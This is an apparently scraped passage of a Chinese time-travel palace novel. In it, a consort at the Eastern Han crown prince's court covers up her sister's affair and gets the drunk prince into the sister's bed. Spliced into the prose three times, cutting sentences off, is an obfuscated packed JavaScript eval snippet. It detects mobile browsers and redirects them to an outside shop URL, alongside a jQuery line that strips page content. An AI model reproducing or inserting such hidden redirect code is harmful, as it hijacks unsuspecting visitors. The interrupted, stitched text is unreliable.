他开始变得感性,见到我就回忆起贾复,随之念念冯异、邓禹、吴汉和耿弇等人,?我与其他人就那么静静地听着,只有阴皇后接他的话,提起一些当年征讨彭宠的细节,问他是否还记得清楚。 在二十世纪末,我是重男轻女理念的受害者,对传接香火的鄙视根深蒂固,然而在这些时刻,我略微理解了封建王朝帝王对子嗣的变态看重。因为只要握住权力,就没人想要放开,而子嗣正是保证权力世代相传的根本途径,只有生命延续下去,万事万物才有不被流失的可能。 陛下征讨的步伐布遍南北东西,耗费巨大成本获得的江山,他希望自己的子孙代代相传,期盼刘姓每一代都有聪明良善的孩子,替父辈们将来之不易的权力传于万世。 但前提是父辈有江山社稷可遗留,子孙有无上权力能继承。否则锅碗瓢盆仨瓜俩枣的光景,生十个男孩出来也全无用处,反而像牲口多产。 为保证孩子的安全健康,自这次后,我不再跟随太子进宫侍疾了,大多时间都待在永安宫里。这段时间我停止侍寝,但太子偶尔还会来过夜,我的部分宠爱被分给了阴良娣。 或许是长期脱敏的结果,再或许是太过沉浸在顺利收获果实的释然当中,我在孕初并不太记挂太子的行踪,只全心提防贾禾阳打掉这个孩子。可又过去一个月,当我七天里只有三天看到太子的时候,那股强烈的愤怒和嫉妒在我脑中反复游走,扰乱了我的心情。 我对太子的感情不再掺杂着对权力的享受,反而开始认为他轻浮,不甘寂寞,心口不一。这是我对古人的苛求,更是对帝国太子的苛求,马良娣早就告知过我这个道理,他不可能独属于某个女人,太子也有自己的使命,在天下人眼中,他理应拥有住满整个掖庭的妃嫔,以及很多个孩子。 那么同样,他的女人也不一定完全属于他。 怀孕的负担令我憔悴不堪,待贾禾阳身体里的胚胎长大到开始显怀的月份,永安宫里再次传来了好消息。 阴良娣也有了身孕。 这个突兀的消息立刻令我打起了精神,由于已经知晓东汉帝国未来的历史走向,我确定她的儿子不会成为下一任太子,因此放心许多。如今我与阴良娣都不能再伴驾,然太子仍旧在我们二人之间游走,时常陪伴身边。 在这样平静、疲惫的日子里,我则记挂起了至今都没承宠的贾禾苗。 怀上这个孩子之前,我们的夜晚总被安排得拥挤,太子曾对我私下提起过,这半年多来,我侍寝的次数最多,他与我行敦伦之事的时间也最长,自从宠幸我以来,屡尝甜果,总觉得其他妃嫔逊色了些。 我姑且将其视为夸奖,只是向来不愿在帷幄之外听他提起这个话题。为防止自己对太子付出太多没必要的感情,我始终告诫自己:榻上的陪伴是工作,榻下最好称君称妾。 刘庄就寝前习惯半倚在榻边看书,来回读的也就是那些从石室或东观搬来的经典。我从前为他摁腿捶背,如今也懒散了,闲时会将腿脚伸进他怀中,太子则一手持卷,一手摁捏着我的小腿和脚踝。我特意选在这种闲适私密的时候吹枕边风,经过几次旁敲侧击,他诚挚地表示明白我的心意,日后会去多看看贾禾苗,然而这番车轱辘话来回说了数次,贾禾苗却还是没有被召幸。 孩子在贾禾阳体内马上待足五个月了,她的肚子微隆起来,终于不再晨吐夜吐。我开始频繁出门去见马良娣和贾禾苗,数次私下宽慰长姐,让她静待时日,可令我诧异的是,她的气色与状态看起来甚至比刚入永安宫时还好,不仅笑容多了,就连话也密了。 白日若是在她房中打发时间,我总会习惯性翻翻她的妆奁。 太子赏给我妆粉、假发与燕支向来大方,包括曲裾直裾、步摇鬓钗、玉环玉琮在内的物件,只要我有,我则保证贾禾苗也得到一半。可她原先只画淡妆,并不大佩戴这些金银,近两个月竟开始捈擦燕支和口脂了,搁置半年的首饰也开始全套上身,较从前精神了不少。 我套话几次,她都不上当,但想来并不突兀,毕竟我与阴良娣都已怀孕,永安宫的孺子们无一不是蠢蠢欲动,倘使贾禾苗愿意为自己争取一把,是好事情。 可久而久之,我察觉到,她期待的貌似并不是太子。 因没有证据,我也不好无端猜忌贾禾阳的亲姐姐,干脆挑选了个家世可靠、时常走动她身边的中黄门,重金赂之,请他多多留意。 很快,建正之月到来,在正旦日之前,雒阳下了第一场雪。 这场雪一下就是五天,贯穿了岁首朝会的全程。陛下的病情有了些起色,在夜漏未尽、七刻钟鸣时接受百官朝贺和大司农的奉羹,一一过目了三公王侯进献的珍稀玉璧,以及百石至千石官员奉上的雉、雁子和小羊羔。当日稍晚些,他在宫中参与了部分祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我挥手示意他出去。尽管起先已经察觉到贾禾苗的状态反常,但料想不过是私相授受的小事,于是有意买通个年纪小、根基浅的宦者为我留意。然而如今得知的实情却非常恐怖,舍人夜半潜入妃嫔房中,我简直不知该称之为私会还是通奸。 我满脑子只有两个字——死罪,死罪,这可是板上钉钉的死罪。 这个消息令人睡意全无、坐立难安,我开始在帷幄内反复踱步,思量是否需要除掉洪甫、是否要杀死那个混账舍人、是否明日一早便该去找贾禾苗询问实情。 少顷,太子周身水汽地掀开帷幄,见我还在榻边坐立难安,随口责怪道:“方才令宫人为卿揉腿解乏,卿偏说困了,如今竟还醒着。” “殿下......”我挪开凭几:“妾腹痛腰酸,没有殿下在身边,实在难眠。” 想到贾禾苗就在一殿之隔的地方,我赶紧催促太子进入榻内,随即温顺地枕在他胸前,直白地提出要求:“殿下别走,陪陪妾。” 他抬手为我揉腰,闭上双眼道:“我哪晚半途离开过?阴良娣今日都知爱护自己的身体,卿却非要撑着。” 少顷,太子平稳的呼吸声传来,我终于得以在昏暗的帷幄内思索贾禾苗这种行为将造成的糟糕后果。 假如此事到此为止,那么死无对证,还有挽回的可能,可要是贾禾苗放不下,或在此之前已被有心之人抓到把柄,那么这件事将会影响到贾禾阳与腹中胎儿,更有甚者还会损坏马良娣的名誉。 但我又怎能站在道德的高地上评判她的行为?此事的罪魁根源合该是太子对她的忽略,一个对永安宫和储君抱有强烈期待的姑娘,没人能要求她甘于寂寞,心如槁木。 我在丽正殿见过那舍人数次,威仪秀异,望之颇伟,由于时常侍奉太子周围,刘庄此人对待文法吏又极严苛,他于是总一副打起十二分精神的模样,侍奉谨慎,处处无错。待太子继承大统,可见前途无量。 倘若贾禾苗没有与异母妹一起进宫,她大概会有一桩令人艳羡的婚事。可换言之,若不进宫,她也不会遇见太子舍人。 洪甫的话语在我脑中反复回放,使我恐慌难眠,直到夜漏将近,天色已经有些泛白,我腹中开始传来微弱的胎动,孩子像在贾禾阳身体里吐了几个泡泡,致使脊椎下部有羽毛轻抚感,去挠又像隔靴搔痒,很不舒服。 因为我过于疲乏却彻夜清醒,本身早就入眠的胎儿也被翻身的动静打扰,抗议不止。 直到再也支持不住,我方在不知不觉中昏睡,再醒来时已是正午,太子不在身边,殿里詹事或宦官并无一人来唤。我复闭起双眼养神,贾禾苗的事再次浮现在眼前,令人崩溃、忧愁。 午膳没传,妆也未上,我简单洗漱后特意差人唤来洪甫,由他随行,前往贾禾苗房中。 9. 第九章 来到贾禾苗的寝房外,我仍像往日一样攚门便进,从不敲门,只这回特意用力制造出声响,果然见她猛地从屏风前坐直身体,仿佛受到极大惊吓似的,将手中妆奁扔出了两丈远。 “......”贾禾苗见来人是我,羞愤嗔怒道:“进房却不通报一声,哪有半点良娣的样子?” 洪甫识趣地守到殿外,顺手阖门。我没有回复贾禾苗的抱怨,在屋内里外踱步一圈,坐在了她的榻上。 “长姐。”我缓缓道:“我是否该向家中与信一封,拜托叔父寻些石蚕、衣鱼、地胆和鼺鼠,打掉这个孩子?” 俯身在地上收拾妆奁的贾禾苗忽然顿住了,她起身不可思议地看向我,眼神因迟疑而瞟向别处,语气颤抖道:“禾阳,你说什么呢?这孩子是贾家的指望,你怎能去掉他?” 我仍然定定坐着,目不斜视地反问:“是吗?禾阳以为长姐想自戕,顺便一道害死我,再除掉这个所谓贾氏一族‘指望’着的孩子呢。” 贾禾苗眸光颤动,双眼瞬间瞟向卧榻东边的木橱,又欲盖弥彰地挪去别处。我转身在榻上摸了摸,知道她明白我话中意思,于是直接问道:“你们二人何时开始私会?是否有人知晓,是否互有信物?” “......” 她咬唇不语,颓然跪坐在垫上,面色苍白地解释:“禾阳!我无意酿成大错,更不愿连累旁人。你不知我的心思......这孩子是我的外甥,也是我未来在掖庭的倚仗,我怎会害你们呢?” 贾禾苗急切的话语唤起了那份难以忽视的亲情,我的血液又开始在体内奔腾,眼前开始出现模糊星点。我当然知道贾禾苗不会害自己的妹妹,此言也只是气不过,想要警醒她。长时间被太子冷落,空房寂寞,郁闷无处述说,人皆利己,本无可指摘,可就算再沉迷于幸福、自由,也总该把人命放在最重。既然进入永安宫,成为太子的女人,她就不再是个体,旦夕犯下大过,便会牵动身后的每个利益相关者。 “你身边的詹事是否知晓此事?女御或宦官呢?” “都不知。” “都不知?”我问:“难道他是从地底钻入你房中?竟连守夜的女官都躲得过?” 良久,贾禾苗终于畏畏缩缩道:“只......只有最贴身的小女官知道。” “姓李名婵的那个?” “是。” 待她答话,房中又恢复了寂静。贾禾苗有些瑟缩地走到我身边坐下,将手掌紧贴在我腹部,柔声道歉道:“禾阳......是我不好,但进入永安宫已半年有余,我不似你一般讨得殿下喜爱,也没能为家族争光。但我与延年实在两情相好,有他时常陪在身边,我心中好受许多。” 我一把拽下帷幔,提高声音叱问:“我不过寻了中黄门时常留意,便能察觉你与贺延年的好事!倘使被旁的有心人抓到又当如何?殿下的心本就不在我一人身上,你可知我为了怀上这个孩子,日夜侍奉不敢懈怠,假若东窗事发,不仅我的努力白费,贾氏一族的恩宠也全断送了,你明白吗?” “我......我知你的不易!禾阳,我真的明白!”她握紧我的左手,抬起贴近自己的额头,豆大的泪珠颗颗砸落在榻上,雾雾囔囔地呢喃道:“侍君之不易,我怎会不知呢?但你好歹有殿下陪伴,我整日住在你与马良娣周旁,见太子的辇驾来了又去,听着召幸你的辎车每隔一日便准时抵达,我太沮丧......也太挫败了。” 她恳求道:“禾阳,算姐姐求你,此事万勿告知父亲母亲,也千万别告知叔父们,好吗?” “......你知我不会的。” 我轻叹着回握她被泪打湿的手心,顺着胸口平复了心情:“从此之后,你们二人永远不要往来,就当此事从未发生。” 贾禾苗并未给出肯定的回应,只突兀地问我:“禾阳,你说这样的日子,究竟何时才是尽头呢?” “待太子宠幸了你,就是尽头。”我顺口答道:“陛下的身体每况日下,最迟今年秋收之前,太子一定会继位。等你有了宠爱,有了孩子,都会好的。” 不知这个答案是对是错,总之她意味深长地笑了,神色凄苦地扯起嘴角:“禾阳,我原先总嫌怪你野心重,可如今再看,竟发觉你初入永安宫时说过的每句话都成为了现实。太子的确为你倾倒,你也顺利获宠,怀上了健康的孩子......可你真的爱殿下吗?” “我原先笃定自己爱他,当然,至今为止,我仍敬爱陛下与太子。”贾禾苗望向我的双眼,接着说道:“但有了延年之后,我时而再肖想殿下,却自觉难以接受他的召幸了。不论你是否相信,我甚至宁愿维持现状,期盼他不要记起我才好。” 我出神地微启双唇,却什么都说不出来。在对待太子这件事上,贾禾苗与我显然是两种活法——她实打实地尝到了被爱怜的滋味,于是不愿将就于长久忽略她的太子,选择忠于自己的感情;而我由于热衷权力,目标功利,为了好受些,从而禁止自己对太子产生多余情感。 或换而言之,真情或假意,对我而言并不是第一位重要。 “我为嫔妾,太子为我君主。”我开口:“贺延年的爱使你感到安全,正如太子周遭的权力带给我安全。” 贾禾苗摇头:“他的权力能够成就你,也会伤害你。若连些许深情也无,当他某日不再给予我们权力,我们还能留下什么呢?” “所以我要生出这个孩子,只要有这个剪不断的纽带,他的一些权力便会永恒让渡到孩子身上,再由这个孩子天然地流转给我。” “可见你很聪明,禾阳,自从进入永安宫,你就知道自己要什么,并且奋力拼得。而我还在纠结假如并不爱他,如何能让他碰我,召幸我。”她仍旧苦笑:“我看似比你年长,比你率先入宫,步步走在前头,然实则为情所困,难进难退,深陷其中。” 我道:“既进东宫,你怎能不争宠?往后还要进入掖庭,到时面对郡国进献的家人子、四夷供奉的美女,又将如之奈何?贺延年纵然再好,他难道能娶你?难道永不聘妻生子?你可知我们的未来在谁身上?该指望谁?” 她垂眸接话:“在太子殿下身上。” “错。” 我捏住她的下颌,强行使她抬起头来,指着自己的肚子道:“诚如你所言,太子的权力随时可能抽离,那么你能指望的只有自己,还有从自己肚子里生出来的保障。” 贾禾苗痛苦地别开脸去:“我不愿为殿下生孩子。” “我就情愿吗?”我痛苦地掩面沉吟:“禾苗,你我出身侯门,侍奉太子,相较寒门女子已经非常幸运,命运走到这一步,早过了怨天尤人的时候。我这几个月始终在为你求恩宠,马良娣也常派人来关照我孕中情况,然你是否想过,她是真心为我好?我又是真心将太子推向你身边吗?” 她望向帷幔外透入的日光,坦然答道:“倘若将太子换作延年,异位而处,我会非常痛苦。” “就当为了我腹中的孩子平安降生,你不愿亲近殿下也罢,只要这个孩子流着贾氏的血,你也会安全。”我起身走到窗下的木橱边,对贾禾苗道:“若有信物,即刻交予我。” 许是这番恳谈警醒了贾禾苗,她缓缓起身,分别从衣橱小屉及腰间摸出了两件物品,递到了我的面前。 一件是丝制的佩囊,一件是只灵巧的蝉形玉管,被贾禾苗系在腰间的组玉佩上。我唤声来人,门外的洪甫快步走入,我示意他接过贾禾苗手中的物件,用漆奁装好,端正地捧在手心。 “洪黄门,这便是贾孺子,我的姐姐。”我对洪甫轻道:“这两件物品属于贺舍人,意外流转到贾孺子这里,如今拜托黄门替我姐姐送回。如若日后无事最好,倘若有人得知什么,以此玩意做出文章,黄门恐怕要担个协助嫔妃私通的大罪过。” 他深深点头会意:“小奴明白,请良娣孺子放心。” 洪甫带着东西离开内室,贾禾苗立即难掩忧愁地问道:“禾阳,此人是否可信?他会甘愿受此威胁吗?” “本找他来留意你的动向,谁知长姐胆大包天,竟被抓住这样的死罪。”我撑着腰坐回榻边,探身在炭盆旁烤手:“任凭可不可信,如今也得信,除非他自己活腻了,否则绝不会蠢到去告发你。” 听我这样讲,贾禾苗又蔫了,转而弯腰将炭盆往我的方向挪了挪,试探道:“那我的女官......又该如何处置呢?” 我耸肩道:“无非两种,一是处死,二是送出永安宫,你选哪个?” “若想保险,自然是灭口,可她侍奉尽心,我实在不忍。” 我笑道:“如今知道不忍了?你与贺延年热恋时可曾考虑这些?知道有多少无辜的人会因此丧命吗?” 贾禾苗颔首不语,我也不再执着如何处置这个女官,转而问她:“你们二人是否行过敦伦之事?” “......”她面色难看地看了看我,又焦虑地抚了抚头上的高髻,声音细若蚊呐:“有。” 我了然:“次数多吗?最近一次在何时?” “记不得了。” “胡说。”我毫不留情地拆穿道:“他昨晚方潜入你房中过夜,难道什么都没做?” 贾禾苗痛苦地反驳道:“禾阳,你分明都清楚,那便不要问我了!我现在愈发觉得你像变了个人似的,原先并不这样,自从我们分别开来,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我冲她揶揄地点了点头,随性摆手告别。就算永安宫是个是非之地,但毕竟姐妹情深,荣损兼俱。我走出殿外,坐上辎车,交还信物的洪甫已经返回,他从衣袖中取出贾禾苗的一只珍珠步摇递过,说是从贺延年那里要回的信物。 然而此刻见到握着手中这个物件,我简直不知该笑该哭。太子曾赏我垂珠花叶金步摇、珍珠珰绕步摇两件首饰,因前者太过珍贵,马良娣尚且不曾有,我于是照旧将后者转赠给贾禾苗,没想到她竟以此作为信物,交付给了贺延年。 她善良,憨厚,也懂礼数,但却太过天真,毫不谨慎。不论她出于何种意图将我的首饰交予文吏,假如这东西被有心人看见,就算要不了我的命,也足以令我的恩宠大打折扣。 待同行回到殿中,我命女官将一盘马蹄金取来,送到太子身边的曹常侍那里,拜托他月底再指派黄门时,顺手将洪甫调到贾禾苗身边。 鉴于腹中怀着孩子,为积善累德,我无意用最极端残忍的方式处置这些无辜的知情者,而将洪甫放在贾禾苗的西殿是我能想出最保险的法子。既然已经意外卷入,不如涉身更深些,令他的前途、身家都与贾禾苗的兴亡绑在一起,对双方而言都安全。 进入永安宫不过一年,却像过去一辈子那样长,这个孩子总体安定乖巧,夜间闹人的情况则更少,能令人睡个安稳觉。我将其整体归功于贾禾阳健康而年轻的身体,同时也有太子的一份贡献。 近几月来,我的饮食从粟到黍,甚至稻米都安排精致,各类鱼羊豚牛也从不缺少,由于吃得丰富多样,营养补充很好,我开始格外在意这孩子在我体内的成长,每日都要对镜打量,看看腹部是否隆起更高些。 两千年前的中国,就算是宫廷之内,医疗文明的发达程度也比不上现代医学的千分之一,我对贾禾阳的人生走向全无所知,生怕她出什么意外,更怕她的孩子无法平安降生。毕竟如今正在忍受孕育苦楚的人是我,我终究希望孩子平安。 往后的半个月,一切如常,不论好事坏事,都未发生。我在雒阳日短夜长的干冷冬季中不断适应着沉重的身体,学习如何做好一个母亲。 我开始偶尔混淆自己与贾禾阳之间的边界,哪怕她早已不在这幅身体,我也总是笃定地告诉自己,这是她的孩子,不是我的。然经过这五个多月的同生共处,感受体内的规律跳动、转身与起伏,纵使我再理智,天然的激素也避无可避地扰乱了我的神经。 洪甫并未再来通报异样,我逐渐将贾禾苗的事淡忘了些,夜间依偎在太子温暖的怀中,暗自希望这样安定的日子能再长久一点,至少也要持续到孩子出生那天,让我无忧无虑地将他带到这个世界来。 不幸的是,老天罕有遂人愿的,建安中元元年二月底,我最怕的事情终于还是发生了。 贾禾苗对我说,她已有两月未见月事了。 10. 第十章 听闻洪甫等候的殿外的时候,我与刘庄正在殿中用膳。这顿饭是每夜就寝前的额外一餐,往常只有我用,但假如太子也在,我们便会一起分享。 太子家令送到我身边的女御长姓司马,年逾四十,侍奉得老道熟练,很得我心。她虽不知贾贺二人的私情,却明白我与洪甫之间有些私往,趁太子离开净手时通报消息给我,我便产生了一种不祥的预感。 自二月以来,有洪甫在西殿常驻,贾禾苗与贺延年再也没有深夜私会,那名为李婵的小女官我也没有处置,只要求洪甫将她盯紧,陈述利害。于是我下意识怀疑是这女官出了问题,甚至已经开始思索要如何应对泄密的状况,如何处置泄密之人。 饭后,抓紧太子洗漱的空隙,我召洪甫进入外殿,他一言不发地将信帛交予我,随后便匆匆赶回了西殿。 信帛是贾禾苗亲笔,简明扼要地提及了自己月事的问题。我仔细、数次地辨别过每个字,眼前的晕眩又因血压奔涌而浮现。先前与她谈及这个话题的时候不受待见,此刻果然惹出大祸,又来向我寻求解决办法。 我信手将绢帛丢进火盆中烧掉,魂不守舍地回到内室,见太子正手握书简走到漆屏前,跽坐垫上,开始阅卷。 年初各郡计吏上京,计簿堆积如山,往年都由尚书台或三公府直接呈送陛下过目,然如今帝王病笃,审查上计的工作便落在了太子身上。刘庄阅卷时习惯安静,常侍黄门与女官陆续退出,房内顿时只剩我们二人。 由于心事重重,我转而脚步虚浮地搬来那只三枝铜座灯,放在窗边点燃,一言不发地坐在灯旁,望着前方愣神。 我不断琢磨着贾禾苗的症状,或许这只是普通的月事推迟,孩子没那么容易就能怀上。可如果就是这么倒霉,偏偏让她中招了怎么办? 沉思其中,我完全没注意到太子的目光已悄然从书卷上挪开。他敏锐地察觉到了我的异常,往日夜间侍寝或伴读,我都如同多动一般在他身边造出或轻或重的动静,罕见坐在墙角一言不发。他于是开口问道:“禾阳,你是否身体不适?” “......”我回神跪直身体,赶紧答道:“回殿下,禾阳无事,就是累了。” “夜间冷,进帷幄里休息吧。” 此刻听见太子的声音,我竟因心虚而有些悚然。安稳觉恐怕又睡不成了,我索性搬来凭几到他身边,伺候太子斜靠屏前,自觉为他添茶添炭,摁揉肩颈。 欲救贾禾苗的小命,如今只有一种办法——只要她这几日内能够顺利得到太子的召幸,此事大抵有些转圜,要是再过一两个月,胎儿旦夕成长起来,就算高帝回魂也救不了她。 “殿下政事繁忙,侍疾劳累,却还不忘陪伴妾。” 我用柔顺的发丝和熏香的衣袍包裹住他,自身后拥之,直到太子放下竹简,伸臂将我揽进怀里,脾气颇好地抚摸着我的腹部,我由是轻声试探道:“虽已立春,但雒阳仍然天寒,马良娣与姐姐都嘱咐妾少出门,实在憋坏了。殿下明日无朝会,也不必侍疾,能否陪妾到宜春苑的小阁坐坐,放会儿风筝?” “去年少府的风筝过时了,今年为上巳节做了新样式,再令人为你送来几只。”他淡然道:“但小阁四面通风,你久坐不成。” 闻言,我又因忐忑而不自觉地沉默了,反倒是太子为我回忆道:“去年底正逢深冬,卿偶然寒症,无法用药,夜间既咳又嚏,鼻尖都擦得通红,以至整宿不眠,惹的孩子也受罪。” “殿下不是说妾跳盘鼓舞好看吗?”我急忙保证道:“妾如今行动轻盈许多,可以再跳给殿下看。” 刘庄不明所以地笑道:“我不爱歌舞,就算要看,也不必卿怀着身子受累。” 见他油盐不进,我仍锲而不舍地要求:“小阁不行,那殿内总是可以的,苑内猎场东边高处的殿室还空置着,殿下可与妾同饮观光,就当为妾散散心,行吗?” 太子平日虽不热衷于打猎登高,但自从陛下有疾,永安宫太半的娱乐项目都被暂止,如今我恳求他带我去猎场高处坐坐,果然没有立刻被拒绝。见他犹豫,我缓慢褪掉身上厚重的襜褕,手臂绕在他颈后,迫切地贴上了他的双唇。 月份大了,胎也坐稳,我与太子夜间拉上帷幔当然不仅仅是睡眠那么简单,侍寝的方式多种多样,我依然有本事令他获得全新体验。在长达两刻钟的温存后,太子很快便默许了我的请求。 由于整宿发愁难眠,次日自我晨起伺候太子穿衣开始,肚子里的孩子就没有半点动静。甚至直到到午饭时,贾禾苗终于耐不住性子跑来东殿寻我,它都不曾活动哪怕半寸。我清楚胎儿也有睡眠,是我无理地打乱了它的休憩,影响了它的状态。 贾禾苗在内殿急得来回乱走,低声喃喃着或许是自己想多了,左右没有太医令的诊断,倒也不一定有了身孕。我坐在桌前执箸进食,不受她的扰乱,把热汤饼、焙鲈鱼和拌葵菜全部吃下,一言不发地漱起口来。 “禾阳!”她扑通跪坐在我身边:“如之奈何?如之奈何啊!” 我鄙夷道:“此时慌乱能起到什么效果?不然找个身强力壮的卫率或中盾来,打你十板,把烦恼打掉便好。” 贾禾苗反驳道:“那反而好了!我求之不能!最好让太子殿下亲自动手打我一通,才算把烦恼都祛除呢!” “你少胡搅蛮缠。”我示意她安定坐好,方才将计划和盘托出:“我已安排妥当,今日后晌与殿下到猎场的观景殿用饭,席间我促其畅饮,待天色暗了,太子也醉了,便在回程时将他带去西殿,送至你房中。” “......” “可你如今肚子大了,我仍身形如常,殿下一碰便知不是你在侍寝,岂非当场识破?” “我自然将他灌醉的恰到好处,不能全无意识,也不能保持理智。” “怎能如此?”贾禾苗瑟缩一下,诧异地探身望向我的表情,确定并未说笑,方问道:“那明早殿下醒来会是什么反应?此乃欺君罔上,尽管目的达成,然之后要如何?他若怒而追究你的责任,岂非带累了你吗?” 我阴阳怪气道:“太子难道会因此杀了我不成?倘若不用这种法子,自缢或鸩酒,请贾孺子速选吧。” 贾禾苗顿时蔫了,我转而轻描淡写地提醒:“你待他主动热情些,万勿学其他宫人身上的蠢笨劲,但凡伺候妥帖,殿下又何必深究呢?” “我原见了殿下便怯懦腿软,如今又有了延年.....”她赶紧压低声音说:“我更不愿侍奉殿下了,怎能违心做到热情呢?况且我深知他偏爱你,要是次日酒醒后嫌弃我,简直难看透顶。” “毋需多言,回西殿去吧。” 我不耐烦地指着屏风打发她走,起身褪去厚重的复袍,预备上榻小睡。见贾禾苗仍是那副迟疑未决的模样,我心底怒火霎起,提高声音责备道:“人送去,你且自救,若不能拎清轻重,死活不肯,到时也勿怪我独善其身,大家姐妹一场,飞鸟各投林而已。” 话至此处,再聊无益,我泄愤似地扯下帷幔补了个回笼觉,全为几个时辰后的晚膳做准备。事态已经如此,就算坏事发生,泰山将倾,人总还要求生,吃饭睡觉更为必须。 我在永安宫的根基尚浅,无法寻来靠谱的太医令为她把脉,更没法从雒阳城中找个郎中神不知鬼不觉地进来看诊,于是此时只能做最坏的猜测。假如孩子确实怀上,那么至少已满一月;如今陛下只剩一口气吊着,再进退两难拖沓下去,等到国丧不能同房,这件事就连一点运作的余地都没有了。 在忧愁的笼罩下沉睡了两个时辰,我终于打起精神梳妆洗漱,待曹常侍亲自来请,确定太子已先行前往宜春苑后,适时启程。 临近猎场的殿宇建在永安宫东北角的一处高台之上,比起现代景观低了许多,但从上可窥得草场、温明池与谷水,倘使再高些,还能望见城外阳渠,的确是个不可多得的好地界。 尽管今日并不需进宫侍疾,但出于对父亲的敬爱,刘庄还是特意在晨起后前行赶往北宫却非殿,陪伴父母亲的同时,也可就近处理尚书台奉来的政务。 我与太子坐在殿阁之内,挪去插屏,大开西窗。黄昏的雒阳另有一番景象,没有鳞次栉比的高厦,没有上细下粗的工厂烟囱、规划整齐的公路,更不见排列紧凑的水泥平房。从高处眺望去,南面可见永和里、三公府,西边便是北宫皇城。东汉的帝都绿树成荫,屋瓦青青,微黄的土路车马和天际线的颜色几欲融为一体,被外围的十一个城门包裹,成为内核。 这是一座古朴而艺术的城市,也是东方帝国的核心,无数英雄壮士为之抛颅洒血,而陛下与太子的一生也要守在这里,成为帝国核心跳动的心脏。 刘庄是个好君主,也是个还算合格的丈夫。见他拖着疲惫的身体赴约,只因昨夜里对我许下的承诺,更使我心中的忐忑掺杂了痛苦和愧疚。二人无言立在窗边,我侧身埋脸在他胸前,双臂紧抱住他,泪水沾湿了他挺拔干净的直裾袍。 他有些惊讶地看向身前,又释然地轻笑着抚摸我的脑后,问道:“既来观景散心,卿不高兴吗?” “......妾很高兴。”我迅速擦干眼泪,可新的又从眼眶中不断涌出。面对着太子诚挚的眼神,我难掩哽咽道:“陛下尚在病中,殿下侍奉不易,年初又要上计祭祀,三雍也还在日夜不休地筑建。尽管如此,您还愿意纵容妾。” 刘庄沉吟道:“事务再多,晚膳总要吃,卿之愿望不过换个地界用饭,不难满足。” “妾来服侍您吧。”我与他回到桌前,站在他身侧斟酒夹菜:“妾的叔父去年得了罐西域美酒,本是给妾尝鲜的,谁知妾身怀有孕,封坛至今,香味愈加醇厚,正好给殿下解乏。” “贾宗?” “是,殿下还记得。” “自然记得。”刘庄道:“他郎中做得不错,父皇偶尔宣召也对答流畅,不愧是贾伯父的儿子。” 我见他昂首饮下一杯,随口打趣:“如此说来,妾也不愧是‘贾伯父’的孙女。” 太子笑对:“卿也功勋卓著。可惜贾氏与马氏一族皆是外戚,家中子弟日后恐不能担任要职。” 提起这个话题,倒是额外点醒了我,在酒过五杯后,我见太子的面色因放松而有些颓然,便开口说道:“您近日常侍疾左右,陛下的病情可有好转吗?” 刘庄自己满杯,抬手饮进大半酒液,黯然摇头:“太常与太尉诏议数次,葬仪上的冰盘、祭祀牺牲和梓木棺椁皆齐备,父皇将遗令交给赵憙,至于其他,已无气力再交待了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092515|195492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那其余诸皇子呢?”我柔声问道:“马良娣向妾提及过,殿下承继大统之日在即,诸皇子与藩国官属不仅留在雒阳,甚至尚在随意出入禁省。假如陛下旦夕病危,难道不会引起麻烦?” “父皇给赵憙的口诏安排了此事,他们很快便会回到封地,但此时尚且不可,起码要等到丧仪之后。” 见他神色怏怏,我纵然心中再有愧意,也不得不把握机会,见缝插针地促其饮下了整罐葡萄酒。太子对我不曾设防,西域酒相比黍酒度数更高,他又饮得急促,很快便醉了。此时夜幕降临,永安宫也不再如白日那般喧嚣,我叫来常侍,将太子扶上辇车,送到了贾禾苗的西殿之外。 她果然在等候,聪明地将灯烛熄灭,只留有微弱光亮。 我谎称殿下与马良娣有话要叙,提前停车,扶着明显有些走不成直线的太子进入马良娣院内,从小门进入了西殿。 直至我呼吸凌乱地推门而入,轻缓地将太子安置在榻上时,他都未察觉异状。贾禾苗面色尴尬地躲在帷幄之后,仍是那副手忙脚乱的模样,注视我在榻边轻言抚慰着半梦半醒的太子,令他枕着我的腿,熟练地为他摁压额前穴位。 少顷,太子陷入浅眠,我一把拉过瑟缩的贾禾苗,小心翼翼与她换了个位置。 许是我隆起的腹部忽然消失,太子抬手摸了摸鼻尖,迷茫地睁开了双眼。我立刻动手将灯芯旁的铜勺盖上,催促贾禾苗为他解开衣裳,尽快就寝。 “......” 在一片昏暗中,我听到太子在帷幄中呢喃道:“禾阳?” “妾在。”我轻声答道:“殿下醉了,禾阳来侍奉您就寝吧。” “......” 帷幄里传来细细簌簌宽衣解带的声响,我放轻脚步离开西殿主卧,在院廊下叫住等待已久的洪甫,悄声嘱咐:“务必把西殿看好,谁也不准扰了殿下和孺子休息。” “小奴明白。” “李婵何在?”我信步往小门走去:“做你该做的,若有任何风吹草动,即刻报我。” 洪甫难掩为难:“良娣,小奴按您所说,以李婵家人性命作为警示,也时常向贾孺子提示,往后只要是与贺舍人有关之事,休要与往来下人或女官透露半句。然孺子这半月却仍与李婵行事亲密,命其常伴左右,不知私下说些什么。” “擅杀女官不是个小罪名,况且她并无过失,要是不幸找个拙劣的由头,反而令人起疑。”我叹道:“总之殿下今夜宠幸过贾孺子之后,眼下的危机算是解了,且行且看吧。” 